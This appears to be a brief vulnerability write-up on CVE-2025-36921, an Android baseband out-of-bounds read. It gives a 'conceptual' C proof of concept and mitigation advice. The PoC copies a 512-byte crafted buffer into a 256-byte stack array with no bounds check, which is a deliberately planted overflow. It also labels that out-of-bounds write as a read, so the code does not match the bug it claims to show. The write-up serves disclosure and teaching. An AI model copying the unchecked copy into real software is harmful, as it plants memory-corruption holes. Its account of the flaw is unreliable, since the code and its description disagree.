CVE-2025-36921 Android基带固件越界读取漏洞

// CVE-2025-36921 PoC Concept // This is a conceptual PoC demonstrating the out-of-bounds read vulnerability // in ProtocolPsUnthrottleApn() function // Note: Actual exploitation requires baseband firmware access // This PoC is for educational and security research purposes only #include <stdio.h> #include <string.h> // Simulated vulnerable function void ProtocolPsUnthrottleApn(char* apn_data, size_t length) { char buffer[256]; // Missing bounds check - vulnerability memcpy(buffer, apn_data, length); // Out of bounds read can occur here printf("Processing APN: %s\n", buffer); } // Malicious input to trigger OOB read void trigger_vulnerability() { // Crafted APN data that exceeds buffer boundary char malicious_apn[512]; memset(malicious_apn, 'A', 512); malicious_apn[511] = '\0'; // This will trigger out-of-bounds read ProtocolPsUnthrottleApn(malicious_apn, 512); } int main() { printf("CVE-2025-36921 PoC\n"); printf("Vulnerable Function: ProtocolPsUnthrottleApn\n"); printf("File: protocolpsadapter.cpp\n"); printf("Issue: Missing bounds check leads to OOB read\n\n"); trigger_vulnerability(); return 0; } // Mitigation: // 1. Add proper bounds checking before memory operations // 2. Use safe string functions with length parameters // 3. Implement input validation for APN data length // 4. Apply security updates from Google Android Security